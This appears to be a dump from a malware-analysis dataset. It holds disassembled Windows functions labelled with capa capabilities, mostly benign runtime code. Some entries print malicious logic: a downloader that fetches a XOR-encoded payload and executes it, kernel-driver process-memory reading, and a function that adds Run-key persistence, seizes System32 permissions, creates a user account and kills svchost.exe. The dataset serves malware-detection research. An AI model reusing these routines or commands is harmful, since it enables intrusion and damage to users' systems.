joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400896a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
test r8, r8
je 0x14008972a
mov rax, rdx
mov rdx, qword [rbp + 0x50]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x140089720
cmp r11, r10
ja 0x1400897a6
cmp r10, rdx
ja 0x1400897b8
add r11, r9
xor ebx, ebx
nop word cs:[rax + rax]
cmp rdi, rbx
je 0x140089722
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x140089700
jmp 0x140089787
ja 0x14008972a
mov r11, r10
cmp rax, r8
jne 0x1400896c7
mov rdx, qword [rbp + 0x60]
test rdx, rdx
je 0x14008978b
mov r8, qword [rbp + 0x58]
add rdx, r8
movzx ecx, cx
mov al, 1
nop
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x140089760
mov r8, r10
sub ecx, r9d
jns 0x14008977e
jmp 0x14008978d
cmp r10, rdx
je 0x14008979a
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x14008978d
xor al, 1
cmp r8, rdx
jne 0x140089740
jmp 0x14008978d
xor eax, eax
jmp 0x14008978d
mov al, 1
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
lea rcx, [0x1400b3d70]
call sym.core::option::unwrap_failed::h47b1cd78bd1efecd
lea r8, str.K_v_
mov rcx, r11
mov rdx, r10
call sym.core::slice::index::slice_index_order_fail::h2e39f2c793282969
lea r8, str.K_v_
mov rcx, r10
call sym.core::slice::index::slice_end_index_len_fail::h95608344cc4e85cc
int3
Function at 0x1400903d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rsi
sub rsp, 0xb8
lea rbp, [rsp + 0x80]
movzx eax, byte [rcx]
mov ecx, dword [rdx + 0x34]
test cl, 0x10
jne 0x140090432
test cl, 0x20
jne 0x140090474
mov r8d, eax
sar r8b, 7
mov ecx, eax
xor cl, r8b
sub cl, r8b
cmp cl, 0x64
jb 0x1400904e5
add cl, cl
add cl, 0x38
movzx ecx, cl
lea r8, [0x1400b31ec]
movzx ecx, word [rcx + r8]
mov word [rbp - 0x23], cx
mov r8d, 0x24
mov cl, 1
jmp 0x1400904f0
lea r9, [rbp + 0x38]
xor r8d, r8d
mov ecx, eax
nop dword [rax + rax]
mov r10d, eax
and r10b, 0xf
shr cl, 4
lea r11d, [r10 + 0x30]
lea esi, [r10 + 0x57]
cmp r10b, 0xa
movzx r10d, r11b
movzx r11d, sil
cmovb r11d, r10d
mov byte [r9 - 1], r11b
dec r9
inc r8
cmp al, 0x10
mov eax, ecx
jae 0x140090440
jmp 0x1400904b2
lea r9, [rbp + 0x38]
xor r8d, r8d
mov ecx, eax
nop dword [rax]
mov r10d, eax
and r10b, 0xf
shr cl, 4
lea r11d, [r10 + 0x30]
lea esi, [r10 + 0x37]
cmp r10b, 0xa
movzx r10d, r11b
movzx r11d, sil
cmovb r11d, r10d
mov byte [r9 - 1], r11b
dec r9
inc r8
cmp al, 0x10
mov eax, ecx
jae 0x140090480
mov ecx, pe_nt_image_headers64
sub rcx, r8
cmp rcx, 0x80
ja 0x140090551
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], r9
lea r8, [0x1400b31cb]
mov r9d, 2
mov rcx, rdx
mov dl, 1
jmp 0x140090541
mov r8d, 0x26
cmp cl, 0xa
jae 0x1400904fa
or cl, 0x30
mov byte [rbp + r8 - 0x48], cl
jmp 0x140090513
movzx ecx, cl
lea r8, [0x1400b31ec]
movzx ecx, word [r8 + rcx*2]
mov word [rbp - 0x23], cx
mov r8d, 0x25
lea rcx, [r8 + rbp]
add rcx, 0xffffffffffffffb8
mov r9d, 0x27
sub r9, r8
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x20], rcx
not al
shr al, 7
mov r8d, 1
mov rcx, rdx
mov edx, eax
xor r9d, r9d
call sym.core::fmt::Formatter::pad_integral::h9b70d3a8e32d83ef
nop
add rsp, 0xb8
pop rsi
pop rbp
ret
lea r8, str.librarycore_src_fmt_num.rs0x
mov edx, pe_nt_image_headers64
call sym.core::slice::index::slice_start_index_len_fail::ha5465e90ddfd4132
int3
Function at 0x140097140
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x1400971b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400d2254]
mov rbx, rcx
test esi, esi
jle 0x1400972e0
mov rax, qword [0x1400d2258]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400971fb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140097285
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400971e0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140097302
mov rax, qword [0x1400d2258]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400d2258]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400972e7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14009727e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140097290
add dword [0x1400d2254], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400d2258]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14009727e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140097208
mov rax, qword [0x1400d2258]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140097870
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400d22c0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400d22a0]
test rbx, rbx
je 0x1400978cc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400978c3
test rsi, rsi
je 0x1400978c3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400978a8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140097ae0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140097af8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140097b00
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140097b10
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x140097b5d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140097b54
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140097b5f
add rax, 0x28
cmp rax, r9
jne 0x140097b40
xor eax, eax
ret

Function at 0x140097b60
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140097bf0
mov rdx, qword [0x1400beeb0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x140097bde
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x140097bde
cmp word [rax + 0x18], 0x20b
jne 0x140097bde
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140097bf0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140097bc9
add rbx, 0x28
cmp rbx, rdi
je 0x140097bf0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140097bc0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140097c00
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400beeb0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140097c20
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140097c28
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140097c20
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140097c7d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140097c74
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140097c20
add rax, 0x28
cmp rax, r9
jne 0x140097c60
xor eax, eax
ret

Function at 0x140097c80
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400beeb0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140097c9f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140097ca8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140097c9f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140097cc0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400beeb0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140097ce0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140097ce8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140097ce0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140097d30
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140097d27
test rcx, rcx
je 0x140097ce0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140097d18
xor eax, eax
ret

Function at 0x140097d40
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400beeb0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140097d5f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140097d68
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140097d80
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400beeb0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140097da0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140097da8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140097da0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140097da0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140097df4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140097e00
add rdx, 0x28
cmp r9, rdx
jne 0x140097de0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140097e10
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400beeb0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140097e32
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140097e40
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140097e32
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140097e32
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140097e32
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140097e95
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140097ea8
add rdx, 0x28
cmp rdx, r10
jne 0x140097e80
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140097eb7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140097ec7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140097e9e
test ecx, ecx
jg 0x140097eb0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001000
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x140003008]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov ecx, 0x439f0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
movzx ecx, word [0x1400022a0]
xor ebx, ebx
movups xmm0, xmmword [0x140002280]
mov word [rsp + 0x58], cx
mov rdi, rax
movzx ecx, byte [0x1400022a2]
lea rax, [rsp + 0x38]
movups xmm1, xmmword [0x140002290]
mov byte [rsp + 0x5a], cl
mov r8d, ebx
mov rcx, 0xffffffffffffffff
movups xmmword [rsp + 0x38], xmm0
movups xmmword [rsp + 0x48], xmm1
inc rcx
cmp byte [rax + rcx], bl
jne 0x140001067
test rcx, rcx
je 0x1400010a6
lea rdx, [rsp + 0x38]
nop dword [rax]
xor byte [rdx], 0x77
lea rdx, [rdx + 1]
inc r8d
lea rcx, [rsp + 0x38]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], bl
jne 0x140001096
movsxd rcx, r8d
cmp rcx, rax
jb 0x140001080
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
lea rcx, str.myapp
lea edx, [r9 + 1]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rsp + 0x28], rbx
lea rdx, [rsp + 0x38]
mov rcx, rax
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea r9, [rsp + 0x30]
mov r8d, 0x439f0
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rax, rdi
mov ecx, 0x21cf8
xor byte [rax], 0x77
xor byte [rax + 1], 0x77
lea rax, [rax + 2]
sub rcx, 1
jne 0x140001101
xor r8d, r8d
mov edx, 0x439f0
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
mov edx, 8
mov r8d, 0x439f0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, 0x439f0
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
call rbx
xor eax, eax
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140001180
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret

Function at 0x140001a5c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001aa6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001aa6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001aa6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001aa6
cmp dword [rcx + 0x84], 0xe
jbe 0x140001aa6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001aa8
xor al, al
add rsp, 0x28
ret
Function at 0x140001920
Capabilities:
Find process by pid

Disassembly:
push rbx
sub rsp, 0x20
cmp dword [rcx], 0x543543
mov rbx, rcx
jne 0x140001977
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x140001977
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140001977
call sub.ntoskrnl.exe_PsGetProcessSectionBaseAddress
test rax, rax
je 0x140001977
mov rcx, qword [rbx + 8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
xor eax, eax
jmp 0x14000197c
mov eax, 0xc0000001
add rsp, 0x20
pop rbx
ret

Function at 0x140001984
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp dword [rcx], 0x543543
mov rsi, rcx
je 0x1400019a8
mov eax, 0xc0000001
jmp 0x140001a55
xor ebx, ebx
lea r9, [rsp + 0x30]
xor r8d, r8d
mov dword [rsp + 0x30], ebx
lea rdx, [rsp + 0x30]
mov edi, ebx
lea ecx, [rbx + 0x42]
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
jne 0x140001a53
test rdi, rdi
je 0x1400019e0
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov edx, dword [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov r8d, dword [rsp + 0x30]
lea r9, [rsp + 0x30]
mov rdx, rax
mov ecx, 0x42
mov rdi, rax
call sub.ntoskrnl.exe_ZwQuerySystemInformation
cmp eax, 0xc0000004
je 0x1400019d0
test rdi, rdi
je 0x140001a53
mov r8d, dword [rdi]
test r8d, r8d
je 0x140001a48
lea rcx, [rdi + 8]
mov rdx, qword [rcx]
and rdx, 0xfffffffffffffffe
test byte [rcx], 1
je 0x140001a3d
cmp qword [rcx + 8], 0x200000
jne 0x140001a3d
cmp dword [rcx + 0x10], 0x546e6f43
je 0x140001a65
inc ebx
add rcx, 0x18
cmp ebx, r8d
jb 0x140001a1e
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rax, qword [rsi + 8]
mov qword [rax], rdx
jmp 0x140001a53
Function at 0x140001a70
Capabilities:
Find process by pid

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x30
cmp dword [rcx], 0x543543
mov rbx, rcx
jne 0x140001b73
mov eax, dword [rcx + 4]
test eax, eax
je 0x140001b73
and qword [rsp + 0x40], 0
lea rdx, [rsp + 0x40]
add eax, 0x160d
movsxd rcx, eax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140001b73
mov rdi, qword [rbx + 0x18]
add rdi, 0x9fd3e
cmp byte [rbx + 0x21], 0
je 0x140001ae5
mov rdx, qword [rbx + 8]
mov rcx, qword [0x140004080]
add rdx, 0xffae
call fcn.140001f44
jmp 0x140001b0e
mov rcx, qword [rcx + 0x28]
test rcx, rcx
jne 0x140001afe
call fcn.140001b84
mov ecx, eax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rcx + rax]
mov rdx, qword [rbx + 8]
add rdx, 0xffae
call fcn.140001f44
mov r10, rax
test rax, rax
je 0x140001b73
mov ecx, 0x1000
mov eax, r10d
and eax, 0xfff
sub ecx, eax
cmp ecx, edi
cmovl edi, ecx
mov rcx, qword [rbx + 0x10]
and qword [rsp + 0x48], 0
add rcx, 0x6eb9e
cmp byte [rbx + 0x20], 0
movsxd r8, edi
je 0x140001b56
mov rdx, rcx
lea r9, [rsp + 0x48]
mov rcx, r10
call fcn.140002124
jmp 0x140001b6f
lea rax, [rsp + 0x48]
mov r9d, 1
mov rdx, r10
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntoskrnl.exe_MmCopyMemory]
xor eax, eax
jmp 0x140001b78
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x140001e68
Capabilities:
Find process by pid

Disassembly:
push rbx
sub rsp, 0x20
cmp dword [rcx], 0x543543
mov rbx, rcx
jne 0x140001ecd
movsxd rax, dword [rcx + 4]
test eax, eax
je 0x140001ecd
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140001ecd
call sub.ntoskrnl.exe_PsGetProcessSectionBaseAddress
mov rcx, rax
call fcn.14000168c
mov rcx, qword [rsp + 0x30]
mov qword [0x140004080], rax
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rax, qword [rbx + 8]
mov qword [rax], 1
xor eax, eax
jmp 0x140001ed2
mov eax, 0xc0000001
add rsp, 0x20
pop rbx
ret
Function at 0x140001000
Capabilities:
Execute command
Persist via run registry key

Disassembly:
sub rsp, 0x268
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
lea rax, [rsp + 0x30]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140001062
mov r8d, 0x104
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.takeown__f_C:WindowsSystem32
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x1400022f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cacls_C:WindowsSystem32
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_user___username___random_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.taskkill__f__im_svchost.exe__t
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.1400010f0
add rsp, 0x268
ret

Function at 0x1400019b8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a02
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a02
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a02
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a02
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a02
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a04
xor al, al
add rsp, 0x28
ret
Function at 0x4080f0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rbp, rsp
mov rbx, rcx
mov rsi, rdx
cmp byte [0x008d70a8], 0
je 0x4081ab
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle
mov rdi, rax
mov rcx, rsi
call fcn.004107a0
mov rcx, rdi
mov rdx, rsi
mov r8d, eax
lea r9, [rbp + 0x3c]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle
mov rsi, rax
mov rcx, qword [0x008710c0]
call fcn.004107a0
mov rcx, rsi
mov rdx, qword [0x008710c0]
mov r8d, eax
lea r9, [rbp + 0x3c]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle
mov rsi, rax
mov rcx, rbx
call fcn.004107a0
mov rcx, rsi
mov rdx, rbx
mov r8d, eax
lea r9, [rbp + 0x3c]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile
jmp 0x4081bf
xor ecx, ecx
mov rdx, rbx
mov r8, rsi
mov r9d, 0x2010
call sub.user32.dll_MessageBoxA
lea rsp, [rbp + 0x48]
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x4094a0
Capabilities:
Get common file path
Set current directory

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x440
mov rbp, rsp
mov ebx, ecx
mov rsi, rdx
test bl, bl
je 0x4094f2
movzx ax, bl
add ax, 0x40
mov word [rbp + 0x438], ax
mov word [rbp + 0x43a], 0x3a
mov word [rbp + 0x43c], 0
mov ecx, 0x105
lea rdx, [rbp + 0x24]
call sub.kernel32.dll_GetCurrentDirectoryW
lea rcx, [rbp + 0x438]
call sub.kernel32.dll_SetCurrentDirectoryW
mov ecx, 0x105
lea rdx, [rbp + 0x22e]
call sub.kernel32.dll_GetCurrentDirectoryW
test bl, bl
je 0x409511
lea rcx, [rbp + 0x24]
call sub.kernel32.dll_SetCurrentDirectoryW
mov rcx, rsi
lea rdx, [rbp + 0x22e]
mov r8d, 0x105
call fcn.00411410
lea rsp, [rbp + 0x440]
pop rbx
pop rsi
pop rbp
ret